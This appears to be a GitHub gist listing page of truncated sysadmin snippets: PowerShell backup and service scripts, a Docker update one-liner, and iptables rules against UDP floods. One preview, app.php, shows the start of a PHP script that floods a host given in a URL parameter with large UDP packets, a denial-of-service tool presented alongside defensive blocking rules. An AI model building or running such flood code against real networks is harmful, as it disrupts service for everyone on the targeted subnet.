Skip to content

Instantly share code, notes, and snippets.

View spy86's full-sized avatar
🎯
Focusing

Maciej Michalski spy86

🎯
Focusing
View GitHub Profile
$command = 'send-mailmessage -from test@test.com -to test2@test2.com -subject "$env:computername has been restarted" -body "The server $env:computername has recently restarted. If this was unexpected please log into the server and check the cause as soon as possible." -smtpserver 127.0.0.1'
$bytes = [system.text.encoding]::Unicode.GetBytes($command)
$encodedCommand = [convert]::tobase64string($bytes)
echo $encodedCommand > encodedtext.txt
notepad encodedtext.txt
Import-Module WebAdministration
function test-variable
{
# return $false if variable:\$name is missing or $null
param( [string]$name )
$isMissingOrNull = (!(test-path ('variable:'+$name)) -or ((get-variable -name $name -value) -eq $null))
return !$isMissingOrNull
$date = Get-Date -UFormat %Y-%m-%d;
$source = "C:\inetpub\wwwroot\site\Website"
$dest = "C:\Backup\IIS\site_$date"
$exclude = @('temp','app_data')
$destzippath = "C:\Backup\IIS\site\archive_$date.zip"
Write-Host "File backup started."
if(!(Test-Path -Path $dest)) {
New-Item -ItemType directory -Path $dest;
$limit = (Get-Date).AddDays(-14)
$path = "C:\Backup\MSSQL\"
# Delete files older than the $limit.
Get-ChildItem -Path $path -Recurse -Force | Where-Object { !$_.PSIsContainer -and $_.CreationTime -lt $limit } | Remove-Item -Force
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | out-null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.ConnectionInfo") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoEnum")
@spy86
spy86 / update-all-docker-images.sh
Created September 11, 2018 13:29
Update all images for docker
docker images | grep -v REPOSITORY | awk '{print $1}' | xargs -L1 docker pull
@spy86
spy86 / FqdnToIP.ps1
Created October 24, 2018 15:03
Resolve IP Addresses from List of Host Names
function Get-HostToIP($hostname) {
$result = [system.Net.Dns]::GetHostByName($hostname)
$result.AddressList | ForEach-Object {$_.IPAddressToString }
}
Get-Content "C:\Temp\Servers.txt" | ForEach-Object {(Get-HostToIP($_)) >> C:\Temp\Addresses.txt}
@spy86
spy86 / app.php
Last active November 25, 2018 17:37
Here's an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.
<?php
ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
@spy86
spy86 / iptables-udp-block.save
Created November 25, 2018 17:48
iptables settings to block udp other than dns
# allow dns requests to google nameservers
iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
iptables -A OUTPUT -p udp -j DROP
ip6tables -A OUTPUT -p udp -j DROP
@spy86
spy86 / iptables-udp-flood-block.save
Created November 25, 2018 17:50
Prevent UDP flood
# Outbound UDP Flood protection in a user defined chain.
iptables -N udp-flood
iptables -A OUTPUT -p udp -j udp-flood
iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
iptables -A udp-flood -j DROP
@spy86
spy86 / FuncCheckService.ps1
Created December 6, 2018 16:36
Function to Check Service in Windows
function FuncCheckService{
param($ServiceName)
$arrService = Get-Service -Name $ServiceName
if ($arrService.Status -ne "Running"){
Start-Service $ServiceName
Write-Host "Starting " $ServiceName " service"
" ---------------------- "
" Service is now started"
}
if ($arrService.Status -eq "running"){